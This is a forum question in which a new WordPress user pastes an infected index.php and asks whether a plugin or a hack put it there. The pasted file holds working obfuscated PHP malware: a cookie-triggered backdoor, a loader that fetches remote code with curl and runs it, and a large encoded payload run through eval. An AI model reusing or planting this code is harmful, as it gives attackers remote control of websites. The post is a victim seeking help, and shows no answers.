index.php changed on its own
Question
I’m a newbie WP person.
I have a WP site that quit working.
I checked a bunch of stuff and it ended up being the index.php file has a bunch of “stuff” in it. I replaced the file with the standard, default index.php and everything worked.
I’m afraid that my server is hacked in some way….
here is the “broken” index.php file which has some curl statements in there.
Is this something that a bad plugin or something could do or do I need to be looking for something more nefarious? I don’t see any other suspect folders or files.
<?php error_reporting(0);
$DnYX=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};@(count($DnYX)==15&&in_array(gettype($DnYX).count($DnYX),$DnYX))?(($DnYX[64]=$DnYX[64].$DnYX[76])&&($DnYX[85]=
$DnYX[64]($DnYX[85]))&&(@$DnYX=$DnYX[85]
($DnYX[51],$DnYX[64](${$DnYX[45]}[15])))&&$DnYX()):$DnYX; $bCQ = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"],
"\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e","\x73\x74\x72\x5f\x72\x6f\x74\x31\x33","\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65",
"\x70\x61\x63\x6b","\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",);
$PEDMb = $bCQ[2]($bCQ[0]);$BEhd = $bCQ[4]("\x48\x2a", $PEDMb);$Aq = $bCQ[3]($BEhd, true);if (($Aq[0] - time()) > 0
and md5(md5($Aq[2])) === "79657a47a0f81b59ad6f15f626d39bf7") { $oY = curl_init($Aq[1]); curl_setopt($oY, CURLOPT_RETURNTRANSFER, 1);
$yv = curl_exec($oY);$pnuE = empty($yv)?$bCQ[6]($Aq[1]):$yv;@$bCQ[1]("", "\x7d" . $bCQ[5]($pnuE) . "\x2f\x2a"); die;}
$ZpU="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"; $KNVA=@$ZpU('$F',
"\x65\x76\x61\x6c\x28\x22\x3f\x3e\x22\x2e\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x67\
x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x24\x46\x29\
x29\x29\x29\x29\x29\x3b"); @$KNVA("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");?>
<?php define( 'WP_USE_THEMES', true );
require('./wp-blog-header.php');?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
</body>
</html>
0
1 month
2023-04-29T16:21:01-05:00
2023-04-29T16:21:01-05:00 0 Answers
0 views
0
Leave an answer